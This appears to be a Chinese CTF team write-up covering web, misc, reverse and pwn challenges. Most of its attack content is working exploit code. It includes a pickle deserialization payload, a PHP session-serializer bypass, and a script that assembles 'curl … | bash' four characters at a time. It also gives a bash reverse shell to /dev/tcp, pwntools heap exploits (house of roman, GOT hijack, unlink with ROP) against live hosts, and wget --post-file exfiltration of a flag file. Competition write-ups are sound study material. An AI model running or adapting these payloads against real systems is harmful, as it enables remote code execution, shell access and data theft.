考虑万能密码。
考察python反序列化
读源码可知需要覆盖name和category
且需要避免使用R指令码,网上可以搜到使用C指令码来绕过执行RCE
构造payload:
s3 = b"\x80\x03c__main__\nsecret\n}(Vname\nVhaha\nVcategory\nVgaga\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00hahaX\x08\x00\x00\x00categoryX\x04\x00\x00\x00gagaub."
print(base64.b64encode(s3).decode())
www.zip源码泄露
搞这个
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}
然后就有这个
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}
那么要搞这个
<?php
require_once('init.php');
class upload_sign
{
public $sign;
public $admin = 0;
public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}
public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}
public function checksign($sign)
{
return true;
}
}
$a = new upload_sign();
$a->upload();
利用
ini_set('session.serialize_handler','php_serialize');
这个特性
getSign 填"|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:5:"ekixu";}"
搞定admin,然后
./sandbox/2e38c4c054844d7085d096046b5b8258 <?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
然后要拼接一个只能一次4个字符的shell出来。
在主机上搞shell
bash -i >& /dev/tcp/<ip>/1029 0>&1
exp:
import requests
from time import sleep
from urllib import quote
import base64
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
# generate "curl <IPHEX> | ba sh;"
#
'>\;',
'>sh\\',
'>ba\\',
'>\|\\',
'>XX\\',
'>XX\\',
'>XX\\',
'>XX\\',
'>0x\\',
'>\ \\',
'>rl\\',
'>cu\\',
'sh x',
'sh g',
]
for i in payload:
assert len(i) <= 4
header ={
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
"Cookie":"PHPSESSID=1af6e5b03d0df7c07ae2e548bd44183c"
}
data ={
"url":"compress.zlib://data:@127.0.0.1/plain;base64,"+base64.b64encode(i)
}
r = requests.post(url='http://121.36.222.22:88/core/index.php',data=data,headers=header)
print r.text
print i
sleep(0.1)
>
就不提了
给了一张没有定位符的二维码
扫码之后却什么都么得,给了个flag不在这里。
但是winhex看的话里面有一句use base64
接下来,压缩包发现是伪加密
用频谱图发现前后都有电话音,
那么放到网站上解密。http://dialabc.com/sound/detect/
得到数字 187485618521
之后base64加密
flag{MTg3NDg1NjE4NTIx}
得到的是流量包,usb流量分析,可以从中dump下来.vmem文件
标准用volatility分析。。。
搞出flag.img
密码在命令行中
得到了usb keyboard scan code
解码即可
能够得到解压密码
EPIDEMICSITUATIONOFUNIVERSITYWAR
解出文本base64一下即可
flag{Th1s_is_FlaG_you_aRE_rigHT}
工具:x64dbg + sharpOD插件
这misc是vmp壳加密的,其中vmp保护全开,开了防dump+防文件修改
尝试过vmware暂停后提取vmem然后扔进volatility做硬核dump然后失败了...
看了网上的视频教程才来尝试动态调
网上搜sharpOD下载完了直接扔x64dbg的插件目录里就ok了,然后进x64dbg把sharpOD的所有选项都选上
然后F9跑起来,在可执行文件里写点什么然后回车,然后再栈帧里面找自己敲过的东西。
联想到栈帧知识,怀疑是scanf,开始找标志
看到了%s 追到调用返回地址0x401EC7,那就是你了!
随便敲点什么回车,把6个%s读完就断下来了
看到下面有判断读入多少个字符串,如果真则跳上去,如果假就返回了。为了找到真实的对比逻辑,就让他向上跳。
单步下去发现有大跳,根据破解的经验,有大跳的话另一个分支的很重要
这里把flags中的Z位改成0不让它跳
看到小跳不要慌,看跳转逻辑
指来指去也就跳到这附近,那就不用管让它跳
又有大跳,那就不让它跳,之后碰到了for逻辑,就感觉离成功不远了。
全都执行完了,回到刚才下的断点,回去看一眼窗口,答案就出现了。
文件里就有flag.txt
应该是出错题了。
house of roman
# -*- coding: utf-8 -*- import sys import os import os.path from pwn import * context.log_level = 'debug' # context.timeout = 3 context.terminal = ['mate-terminal', '-x', 'sh', '-c'] #context(os="linux", arch="i386", log_level="debug", timeout=3) ''' rdi,rsi,rdx,rcx,r8和r9 ''' if len(sys.argv) > 2: DEBUG = 0 HOST = '121.36.215.224' PORT = 9998 else: DEBUG = 1 if len(sys.argv) == 2: PATH = sys.argv[1] else: PATH = './woodenbox3' # libc = ELF('/lib/x86_64-linux-gnu/libc-2.30.so') def choose(s): p.sendafter('Your choice:', str(s)) def add(le, name): choose(1) str1 = p.recv(8) if (str1.startswith('invaild')): raise EOFError p.sendafter('item name:', str(le)) p.sendafter('Please enter the name of item:', str(name)) # return str def edit(index, lengt, name): choose(2) p.sendafter('Please enter the index of item:', str(index)) p.sendafter('Please enter the length of item name:', str(lengt)) p.sendafter('Please enter the new name of the item:', str(name)) def remove(index): choose(3) p.sendafter('Please enter the index of item:', str(index)) # print/x (void*)$rebase(0x202170) chunk a # print/x (void*)$rebase(0x202168) chunk b # x/30xg $rebase(0x2020a0) itemlist # x/30xg $rebase(0x202160) # add-symbol-file-all ./libc.so.6 0x7ff7175b3000 # 之前有chunkA和chunkB... 不过没有被free应该没关系吧 def exp(): chunkB = 'B' * 0x68 + p64(0x41) res = add(1, '0') add(1, '0') add(1, '0') add(1, '0') add(0xe8, '0') index_base = 5 add(0x88, '0') # 0x20 A add(0xa8, chunkB) # 0xd0 B add(0x18, '2') # 0x20 C # chunkB free了再搞回来, 顺便低字节改写到malloc_hook的fake_chunk remove(index_base+1) index_base -= 1 # x/50xg &__malloc_hook-0x10 # malloc_hook 0x7ffff7dd1b10 # 0x7fff7d1af5 可以出现合法chunk_size # chunk的指针还要靠前8字节?, 在1aed # chunkB fd= 0x7f8b66552b78 add(0xa8, '\xed\x1a') add(0x65, '3') # D add(0x65, '4') # E # add(0x65, '5') # 改chunkB的size chunkA= 'A' * 0x88 +'\x71' edit(index_base+0, len(chunkA)+10, chunkA) remove(index_base+3) #free D index_base -= 1 remove(index_base+4) #free E index_base -= 1 # 改E的fd到B # chunkB: 0x555555757200 chunkC: 0x5555557572d0 # chunkE的fd原来是指向D的 # 它们相差了f0, 只能修改A大小让他们只有低字节不同,D的低字节是f0-->B的低字节是00 这里还是1/16的可能性!! chunk2='3' * 0x18 + p64(0x71) + 'D'*0x68 + p64(0x71) + '\x00' edit(index_base+2, len(chunk2)+10, chunk2) # 修复fastbin??? # TODO # 删掉不用的chunk, 为3连malloc准备?? add(0x65, '4') # E add(0x65, '1') # B # malloc_hook # 0x7f8b66552af5 是size域, +8是内容域, 0x7f8b66552b10是hook, 要0x13的padding, 似乎踩在memaline_hook和realloc_hook上 # onegadget是 0x45216(rax=0), 0x4526a, 0xf02a4, 0xf1147 # libcbase: 0x7ffff7a0d000---> 7FFF F7AF D2A4 # 0x45216 execve("/bin/sh", rsp+0x30, environ) # constraints: # rax == NULL # 0x4526a execve("/bin/sh", rsp+0x30, environ) # constraints: # [rsp+0x30] == NULL # 0xf02a4 execve("/bin/sh", rsp+0x50, environ) # constraints: # [rsp+0x50] == NULL # 0xf1147 execve("/bin/sh", rsp+0x70, environ) # constraints: # [rsp+0x70] == NULL # 2:7FFF F7A5 226A 3:7FFF F7AF D2A4 4: 7FFF F7AF E147 padd = 'n' * 0x13 + "\xa4\xd2\xaf" # 检查一下malloc_hook的位置 padd2 = 'n' * 0x13 + "\x6a\x22\xa5" padd4 = 'n' * 0x13 + '\x47\xe1\xaf' add(0x65, '\x00') # Hook remove(index_base) index_base -= 1 unsorted_payload = 'u'*0xe8 + p64(0x91)+ p64(0) + '\x00\x1b' edit(index_base-1, len(unsorted_payload)+10, unsorted_payload) add(0x88, 'ha') # -1 edit(index_base+5, len(padd)+10, padd) # gdb.attach(proc.pidof(p)[0], "b *$rebase(0x104a)") # choose(1) # p.sendafter('Please enter the length of item name:', '1') # x/30xg $rebase(0x2020a0) remove(2) pay = '\x00' *0x68 edit(4, len(pay), pay) remove(4) p.recv() p.sendline('cat flag') return p.recvline() # p.interactive() DEBUG=0 HOST = '121.36.215.224' PORT = 9998 while (1): try: if not DEBUG: p = remote(HOST, PORT) else: p = process(PATH) if len(exp()) != 0: break except EOFError: p.close() continue
add的值>0x400的时候会申请一个未初始化的块,uaf,劫持atoi_got
# -*- coding:utf-8 -*- from pwn import * from pwn_debug import * from LibcSearcher import * debug = 0 filename='./easyheap' sa=lambda x,y:p.sendafter(x,y) sla=lambda x,y:p.sendlineafter(x,y) context.terminal=['/usr/bin/tmux','new-window'] #elf=ELF(filename) context.log_level = 'debug' if debug: p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'}) else: p=remote('121.36.209.145',9997) def vi(): if debug: gdb.attach(p) def chose(c): sla('Your choice:\n',str(c)) def add(s,c='\x00'): chose(1) sla('How long is this message?\n',str(s)) if s<=0x400: sa('What is the content of the message?\n',c) def free(i): chose(2) sla('What is the index of the item to be deleted?\n',str(i)) def edit(i,c): chose(3) sla('What is the index of the item to be modified?\n',str(i)) sa('What is the content of the message?\n',c) free_got=0x602018 atoi_got=0x602050 puts_plt=0x400670 puts_got=0x602020 bss=0x6020d8 add(0x18) add(0x18) free(0) add(0x401) add(0x18) p1=p64(0)+p64(0x21) edit(0,p1+p64(bss)) edit(2,p64(puts_got)) edit(0,p1+p64(free_got)) edit(2,p64(puts_plt)) free(3) p.recvline() puts_addr=u64(p.recv(6)+'\x00\x00') print hex(puts_addr) obj=LibcSearcher('puts',puts_addr) base=puts_addr-obj.dump('puts') sys_addr=base+obj.dump('system') edit(0,p1+p64(atoi_got)) edit(2,p64(sys_addr)) sla('Your choice:\n','/bin/sh') p.interactive() p.close()
trunk的可写入字节数等于add中的第二个参数字节个数,堆溢出,unlink,got表泄露libc(开始试着泄露main_arena+88发现地址有点问题),因为有 prctl(22, 2LL, &v1);
,所以hooksystem
和execve
这些都不可用,故用任意读写查看libc中保存的栈位置,
改栈rop,read(open('flag',0),bss,0x80);write(1,bss,0x80);
#coding:utf-8 from pwn import * #from pwn_debug import * debug = 0 filename='./pwn' sa=lambda x,y:p.sendafter(x,y) sla=lambda x,y:p.sendlineafter(x,y) #context.terminal=['/usr/bin/tmux','new-window'] elf=ELF(filename) context.log_level = 'debug' if debug: p=process(filename)#,env={'LD_PRELOAD':'./libc-2.23.so'}) else: p=remote('121.36.209.145',9998) def vi(): if debug: gdb.attach(p) def chose(c): sla('>> ',str(c)) def add(l,c): chose(1) sla('______?\n',str(l)) sa('start_the_game,yes_or_no?\n','a'*c) def free(i): chose(2) sla('index ?\n',str(i)) def view(i): chose(3) sla('index ?\n',str(i)) def edit(i,d): chose(4) sla('index ?\n',str(i)) sa('___c___r__s__++___c___new_content ?\n',d) def write(addr,c): edit(3,p64(addr)) edit(0,c) def watch(addr): edit(3,p64(addr)) view(0) return u64(p.recv(6).ljust(8,'\x00')) def csu(rbx, rbp, r12, r13, r14, r15): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 #payload = 'a' * 0x80 + fakeebp #填充垃圾字符串 csu_end_addr=0x4023aa csu_front_addr=0x402390 payload = '' payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 #payload += p64(last) return payload sla('what is your name? \n','aabbcc') add(0x18,0x200) add(0x80,0x80) add(0x18,0x80) free(1) edit(0,'a'*0x1f+'b') view(0) p.recvuntil('b') main_arena=u64(p.recv(6)+'\x00\x00')-0x58 malloc_hook=main_arena-0x10 base=malloc_hook-0x3c4b10 free_hook=base+0x3c67a8 sys=base+0x38c40 free_got=0x602f98 #45216 #4526a #f02a4 #f1147 one=base+0x4526a print hex(malloc_hook) edit(0,'a'*0x18+p64(0x91)) add(0x80,0x80) add(0x100,0x200) add(0x100,0x80) bss=0x6032f8 p1=p64(0)+p64(0x100)+p64(bss-0x18)+p64(bss-0x10)+p64(0x100)+p64(0x110) p1=p1.ljust(0x100,'a') p1+=p64(0x100)+p64(0x110) edit(3,p1) free(4) view(3) heap=u64(p.recv(3).ljust(8,'\x00')) edit(3,p64(free_got)) view(0) '''''' free_addr=u64(p.recv(6)+'\x00\x00') print hex(free_got) base=free_addr-0x844f0 sys=base+0x45390 free_hook=base+0x3c67a8 env=base+0x3c6f38 open=base+0xf7030 read=base+0xf7250 write_addr=base+0xf72b0 stack=watch(env) print hex(stack) print hex(watch(stack-0x208)) write(0x6034f0,'r\x00') write(0x6034e0,'./flag\x00') write(0x6034d0,p64(open)) write(0x6034c0,p64(read)) write(0x6034b0,p64(write_addr)) rop=csu(0,1,0x6034d0,0,0,0x6034e0)+csu(0,1,0x6034c0,0x80,0x603500,3)+csu(0,1,0x6034b0,0x80,0x603500,1) print hex(len(rop)) vi() write(stack-0xe5d8+0xe3b8,rop) '''''' p.interactive() p.close()
通过uaf把ptr[0]这个站点的buf指针改成指向s字符串("/bin/cat flag"),再通过SPFA函数中的队列覆写判断0号站点是否存在的dword_606F60[0]数组元素为非0(目的是能够查询ptr[0]),最后查询站点0信息,在打印buf时即可获取flag。
原本考虑到加边时保存边长的数组存在越界,因为理论可以无限加重边使得dword_6036C0下标可以为任意值,但是这种做法会导致dword_602720数组越界而改变dword_6036C0的值,所以dword_6036C0的理论上限为1000。同时,这种做法会覆盖s字符串,所以无效。
详见exp:
#coding:utf-8 from pwn import * path = './Shortest_path' local = 0 attach = 0 #P = ELF(path) context(os='linux',arch='amd64') context.log_level = 'debug' if local == 1: p = process(path) if context.arch == 'amd64': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: p = remote('121.37.181.246',19008) def add(index,price,nameSize,name,stationNum): #添加站点的函数 p.sendlineafter("options ---> ","1") p.sendlineafter("ID: ",str(index)) p.sendlineafter("Price: ",str(price)) p.sendlineafter("Length: ",str(nameSize)) p.sendafter("Name: \n",name) p.sendlineafter("connected station: ",str(stationNum)) def delete(index): #删除站点的函数 p.sendlineafter("options ---> ","2") p.sendlineafter("ID: ",str(index)) def showInfo(index): #查询信息函数 p.sendlineafter("options ---> ","3") p.sendlineafter("ID: ",str(index)) def findRoute(source,target): #SPFA函数 p.sendlineafter("options ---> ","4") p.sendlineafter("Station ID: ",str(source)) p.sendlineafter("Station ID: ",str(target)) def addRoute(station,distance): #加边函数 p.sendlineafter("Conected station ID: ",str(station)) p.sendlineafter("distance: ",str(distance)) def build(node): #批量构造图的函数 p.sendlineafter("---> ", "1") p.sendlineafter(": ", str(node)) p.sendlineafter(": ", "1") p.sendlineafter(": ", "1") p.sendlineafter(": \n", "A") p.sendlineafter(": ", "26") for i in range(3, 30): if i == node: continue p.sendlineafter(": ", str(i)) p.sendlineafter(": ", "-1") add(0,10,0x20,'\x00'*1,0) add(1,10,0x20,'\x11'*1,0) #创建两个节点,注意申请的内存大小要大于0x10 delete(0) delete(1) #free,造成uaf漏洞 add(2,10,0x10,p64(0)+p64(0x6068E0),0) #申请新节点,使得buf被分配为原来ptr[0]的内存块。修改其为s字符串地址 for i in range(3, 30): #构造特殊的满图,即每个点与另外所有点(0,1,2除外)相连,为了保证SPFA的时候队列足够长, build(i) p.sendlineafter("> ", "4") p.sendlineafter(": ", "3") p.sendlineafter(": ", "29") #查询3-29号点距离,此数据为调试后得到的 #gdb.attach(p) showInfo(0) #查询0号节点信息,即可得到flag p.interactive()
拿到手的apk开始分析
里面有个hmac签名验证,直接用java写就ok
构造了json对象之后就开始研究如何利用它返回shell
看到了wget,也看到了直接做字符串拼接,就想会不会是广义上的sql注入,然而runtime.exec()打破了我的幻想,之后开始老老实实的研究wget
wget里有个参数是--post-file,可以通过post方式向上传文件
再加上https://github.com/xl7dev/Exploit/blob/master/Wget/wget-exploit.py
这个洞其实没法用,但是它搭了一个能收post的服务器这个就很好,然后尝试上传flag文件
然而直接wget xxx/xx --post-file flag却没用,最后才想到会不会flag不在当前目录下。
最后根据安卓应用目录结构推出flag在/data/data/com.xuanxuan.getflag/files/下
最后payload
#include<cstdio> #include<cctype> using namespace std; unsigned char target[19]={17,8,6,10,15,20,42,59,47,3,47,4,16,72,62,0,7,16}; char key[]="Rising_Hopper!"; void testKey(int idx) { for(unsigned char i=0;i<=255;i++) { if(!isprint(i)) continue; unsigned char v=~(i & key[idx % 14]) & (i | key[idx % 14]); if(v==target[idx]) { printf("%c",i); return; } } } int ans[100]={0x1EA272,0x206FC4,0x1D2203,0x1EEF55,0x24F111,0x193A7C,0x1F3C38,0x21566D,0x2323BF,0x2289F9,0x1D2203,0x21098A,0x1E08AC,0x223D16,0x1F891B,0x2370A2,0x1E558F,0x223D16,0x1C883D,0x1F891B,0x2289F9,0x1C883D,0xEB773,0xE6A90,0xE6A90,0xE6A90,0xB1CCF,0x1C883D,0x2289F9,0x22D6DC,0x223D16,0x21566D,0x21098A,0x1EEF55,0x1E558F,0x223D16,0x1C883D,0x22D6DC,0x1F3C38,0x1D2203,0x21098A,0x1C883D,0x24A42E,0x1E558F,0x223D16,0x21566D,0xD83E7,0x21566D,0x21098A,0x1E558F,0x258AD7}; void testFlag(int idx) { for(unsigned char i=0;i<=255;i++) { if(!isprint(i)) continue; int v=19683*i%0x8000000B; if(v==ans[idx]) { printf("%c",i); return; } } } int main() { for(int i=0;i<18;i++) testKey(i); puts(""); for(int i=0;i<51;i++) testFlag(i); return 0; }
#include<cstdio> #include<cctype> using namespace std; int value[32]= {0x34,0x2,0x2C,0x2A,0x6,0x2A,0x2F,0x2A, 0x33,0x3,0x2,0x32,0x32,0x32,0x30,0x3, 0x1,0x32,0x2B,0x2,0x2E,0x1,0x2,0x2D, 0x32,0x4,0x2D,0x30,0x31,0x2F,0x33,0x5}; int way1[32]= {0x1,0x8,0x7,0x17,0x9,0x13,0x1F,0x17, 0x9,0x0D,0x0C,0x1D,0x0A,0x18,0x9,0x18, 0x19,0x9,0x1A,0x3,0x16,0x6,0x11,0x0D, 0x7,0x0F,0x14,0x1,0x10,0x4,0x0B,0x1F}; int way2[32]= {0x2,0x2,0x1,0x12,0x7,0x2,0x1A,0x0D, 0x4,0x0A,0x4,0x15,0x0E,0x1,0x0,0x0E, 0x5,0x7,0x1C,0x0C,0x1C,0x0F,0x0F,0x2, 0x10,0x17,0x1E,0x17,0x13,0x9,0x16,0x1F}; int saves[32]; bool find=false; void dfs(int node,int val,int step) { if(!isprint(val) || find) return; saves[step]=val; if(step==16) { if(node==0x1F) { printf("flag{"); for(int i=1;i<step;i++) printf("%c",saves[i]); puts("}"); find=true; } return; } int w1=way1[node],w2=way2[node],dval=value[node]; dfs(w1,val-dval,step+1); dfs(w2,val+dval,step+1); } int main() { dfs(0,'0',0); return 0; }